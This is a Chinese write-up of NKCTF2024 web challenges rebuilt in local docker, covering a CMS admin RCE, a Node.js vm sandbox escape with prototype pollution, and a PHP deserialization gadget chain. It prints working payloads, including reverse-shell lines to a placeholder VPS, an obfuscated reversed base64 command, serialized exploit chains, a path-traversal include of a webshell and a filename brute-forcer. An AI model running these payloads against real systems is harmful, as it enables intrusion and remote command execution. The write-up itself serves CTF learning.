NKCTF2024 复现

前言

最近摸鱼开发,周末本来想打来着,但是补作业就没打。要了其中几道题目的docker,那个没有的pickle反序列化过段时间再说吧。

My first cms

搭建

1
2
docker build .
docker run -p 9292:80 --name my_first_cms [ImageId]

考点

CVE-2024-27622
我最开始这个爆破了一下,用小字典没打开,在google找到了一个rce,但是文章没法访问,我以为是前台RCE,傻逼了。
/admin登录

1
2
admin
Admin123

Extensions > User Defined Tags 修改 user_agent代码运行:/readflag
image.png
第一次运行执行的默认的输出UA,再执行就有flag。

全世界最简单的CTF

考点

vm1逃逸
搭建

1
docker compose up -d

源代码中提到/secret查看源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
global.lodash = require("lodash");
const path = require('path');
const vm = require("vm");
app.use(bodyParser.json()).set('views', path.join(__dirname, 'views')).use(express.static('public'))
app.get('/', function (req, res) {
res.sendFile(__dirname + '/public/home.html');
})

function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if (code.match(pattern)) {
throw new Error("what can I say? hacker out!!");
}
}

app.post('/', function (req, res) {
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e) {
console.log(e.message);
require('./hack');
}
})
app.get('/secret', function (req, res) {
if (process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})
app.listen(3000, () => {
console.log("listen on 3000");
})

vm逃逸,对process.__filename进行验值了。正常process没有__filename这个属性,需要用原型链污染来达到任意文件读取的结果。
arguments.callee.caller获取到沙盒外对象,然后使用Proxy来读取文件。

1
2
3
4
5
6
throw new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
cc.__proto__.__proto__.__filename = "/etc/passwd";
}
})

源码中提到了require('./hack')污染的process.__filename/app/hack.js访问/secret
image.png
image.png
再读shell.js
image.png
这里通过process.env.command来进行命令执行,但是不能被包含就不能用。
这里漏洞点再require('/hack')可以通过原型链污染控制属性值来进行文件包含。

https://hujiekang.top/posts/nodejs-require-rce/

payload:

1
2
3
4
5
6
7
8
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
cc.__proto__.__proto__.data = {"name": "./hack", "exports":"./shell.js"};
cc.__proto__.__proto__.path = "/app";
cc.__proto__.__proto__.command = "bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'";
}
})

image.png
但是不知道为什么我这里会报错没有bash。
其他wp:

1
2
3
4
5
6
7
8
9
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
const obj = p.mainModule.require('child_procBess'.replace('B',''));
const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
return ex.value('whoami').toString();
}
})
1
2
3
4
5
6
7
8
9
10
throw new Proxy({}, {
get: function(){
const content = `;)"'}i-,hsab{|}d-,46esab{|}d-,46esab{|}9UkaKtSQEl0MNpXT4hTeNpHNp5keFpGT5lkaNVXUq1Ee4M0YqJ1MMJjVHpldBlmSrE0UhRXQDFmeG1WW,ohce{' c- hsab"(cexe;)"ssecorp_dlihc"(eriuqer = } cexe { tsnoc`;
const reversedContent = content.split('').reverse().join('');
const c = arguments.callee.caller;
const p = (c.constructor.constructor(`${`${`return proces`}s`}`))();
p.mainModule.require('fs').writeFileSync('/tmp/test1.js', reversedContent);
return p.mainModule.require(`${`${`child_proces`}s`}`).fork('/tmp/test1.js').toString();
}
})

我这里docker用的是sh,bash一直找不到。最后更换一下即可。
把shell弹出来即可。
但是之后打了半天看flag都是空,最后发现docker给的flag文件里面就是空的😓。
image.png
但是似乎在命令行里他显示是flag?但是在这个docker里阅读时flag文件
image.png
不清楚为什么,我猜测可能时加了一个编码错误的空白字符。

用过就是熟悉

考点

php反序列化
先找登录,发现反序列化入口:
image.png
__destruct
image.png
从windows的__destruct入手
image.png
进入removeFiles
image.png
这里会拼接字符串,因此会调用$filenametoString方法。
因此继续去找toString方法:
第一个就是CollectiontoString,一路看进去toJson()`toArray() ![image.png](https://cdn.nlark.com/yuque/0/2024/png/34866087/1711603348867-6119bd26-2341-41b2-8158-386a86fc642d.png#averageHue=%23202126&clientId=u93d7c75f-2382-4&from=paste&height=255&id=udac19533&originHeight=255&originWidth=614&originalType=binary&ratio=1&rotation=0&showTitle=false&size=13368&status=done&style=none&taskId=u018d1e3d-afc8-4d58-a8a7-5417b1904e4&title=&width=614) ![image.png](https://cdn.nlark.com/yuque/0/2024/png/34866087/1711603453502-e84c86c8-b006-44cc-8de4-2b9ca4826863.png#averageHue=%231f2125&clientId=u93d7c75f-2382-4&from=paste&height=437&id=u605dfec7&originHeight=437&originWidth=806&originalType=binary&ratio=1&rotation=0&showTitle=false&size=43764&status=done&style=none&taskId=u2229102d-3118-4c93-af80-e3c1dbaaaf4&title=&width=806) ![image.png](https://cdn.nlark.com/yuque/0/2024/png/34866087/1711603459998-979f4a73-6b76-4fca-91a6-4e439f7586e7.png#averageHue=%231f2024&clientId=u93d7c75f-2382-4&from=paste&height=383&id=u1467c9f6&originHeight=383&originWidth=562&originalType=binary&ratio=1&rotation=0&showTitle=false&size=25470&status=done&style=none&taskId=u54069838-40e8-4f18-9d75-35c491e500f&title=&width=562) ![image.png](https://cdn.nlark.com/yuque/0/2024/png/34866087/1711603474338-c4f2b034-1690-42e5-ab08-2684903e9a72.png#averageHue=%2324262a&clientId=u93d7c75f-2382-4&from=paste&height=548&id=u44664475&originHeight=548&originWidth=996&originalType=binary&ratio=1&rotation=0&showTitle=false&size=64216&status=done&style=none&taskId=u5788ba66-ff07-4a4d-94d4-aa8b485f2a3&title=&width=996) 发现引用了不可访问为拥有的参数,可以通过__get调用。 ![image.png](https://cdn.nlark.com/yuque/0/2024/png/34866087/1711603556438-20865dcd-3a41-43c8-a760-67f3d29b3e53.png#averageHue=%23313742&clientId=u93d7c75f-2382-4&from=paste&height=170&id=u788300bb&originHeight=170&originWidth=810&originalType=binary&ratio=1&rotation=0&showTitle=false&size=24218&status=done&style=none&taskId=u86a0d056-4555-43de-95ed-14a3931ae9d&title=&width=810) ![image.png](https://cdn.nlark.com/yuque/0/2024/png/34866087/1711603581487-f813dec3-be00-486b-99d2-1332fec1ec4f.png#averageHue=%231f2125&clientId=u93d7c75f-2382-4&from=paste&height=433&id=uac2f5092&originHeight=433&originWidth=783&originalType=binary&ratio=1&rotation=0&showTitle=false&size=39349&status=done&style=none&taskId=ueebea221-b6e2-441b-a29d-ad9f9152dec&title=&width=783) 只有这一个__get方法,可以触发__call方法:读取AdminRequestandhint.php`
image.png
其中Testone抽象类需要用Debug类进行继承
image.png
编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
// * 使用前引用Collection也引用的内容
namespace think;

use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;

class Collection {
public $items;
}

namespace think\process\pipes;

use think\Process;

class Windows {
public $file;
}

namespace think;
class View {
public $data;
public $engine;
}

// * 抽象类需要实现
namespace think;
abstract class Testone {
public $files;
}

namespace think;

use think\exception\ClassNotFoundException;
use think\response\Redirect;
class Debug extends Testone {

}

use think\process\pipes\Windows;
$a = new Windows();
$a -> files = array(new Collection());
$a -> files[0] -> items = new \think\View();
$a -> files[0] -> items -> data = array("Loginout"=>new \think\Debug());
$a -> files[0] -> items -> engine = array("time"=>"10086");
echo base64_encode(serialize($a));

// TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoyOntzOjQ6ImZpbGUiO047czo1OiJmaWxlcyI7YToxOntpOjA7TzoxNjoidGhpbmtcQ29sbGVjdGlvbiI6MTp7czo1OiJpdGVtcyI7TzoxMDoidGhpbmtcVmlldyI6Mjp7czo0OiJkYXRhIjthOjE6e3M6ODoiTG9naW5vdXQiO086MTE6InRoaW5rXERlYnVnIjoxOntzOjU6ImZpbGVzIjtOO319czo2OiJlbmdpbmUiO2E6MTp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2Ijt9fX19fQ==
1
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoyOntzOjQ6ImZpbGUiO047czo1OiJmaWxlcyI7YToxOntpOjA7TzoxNjoidGhpbmtcQ29sbGVjdGlvbiI6MTp7czo1OiJpdGVtcyI7TzoxMDoidGhpbmtcVmlldyI6Mjp7czo0OiJkYXRhIjthOjE6e3M6ODoiTG9naW5vdXQiO086MTE6InRoaW5rXERlYnVnIjoxOntzOjU6ImZpbGVzIjtOO319czo2OiJlbmdpbmUiO2E6MTp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2Ijt9fX19fQ

byd似乎题和这个docker的题目不一样。😵
文件名时时间戳的md5生成的,发包爆破即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import time
import hashlib
import requests
url="http://localhost:3101/app/controller/user/think/"
while(1):
a = str(int(time.time())).encode('utf-8')
hash_object = hashlib.md5(a)
md5_hash = hash_object.hexdigest()
#print(url+md5_hash)
re1=requests.get(url+md5_hash)
print(url+md5_hash)
if 'kodbox' not in re1.text:
print(re1.text)
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
header('Content-Type: text/html; charset=UTF-8');
$content= "亲爱的Chu0,

我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。

在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。

或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。



<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>



而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。

你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。

或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。



POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close

name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit

hint: 新建文件
";


image.png
寻找明文。调试
3181170-20240323203243651-971734421.png
guest/!@!@!@!@NKCTFChu0
但是似乎db.sql中也有密码。
var/www/html/data/files/shell这里有个一句话木马 ,包含文件。
网上的poc,docker的题目和这里的不太一样,打不通:

https://www.cnblogs.com/gxngxngxn/p/18091636

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

namespace think;

use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;

class Collection {
public $items;
}
namespace think\process\pipes;

use PHPEMS\item_weixin;
use think\Collection;
use think\Process;

class Windows {
public $files;
}

namespace think;

class View
{
public $data;
public $engine;
}

namespace think;
class Config{
}
use think\process\pipes\Windows;
$A = new \think\process\pipes\Windows();
$A -> files = array(new \think\Collection());
$A -> files[0]-> items = new \think\View();
$A -> files[0]-> items->data= array("Loginout"=>new \think\Config());
$A -> files[0]-> items->engine = array("name"=>"../../../../../../../../../var/www/html/data/files/shell");
echo base64_encode(serialize($A));

然后发包即可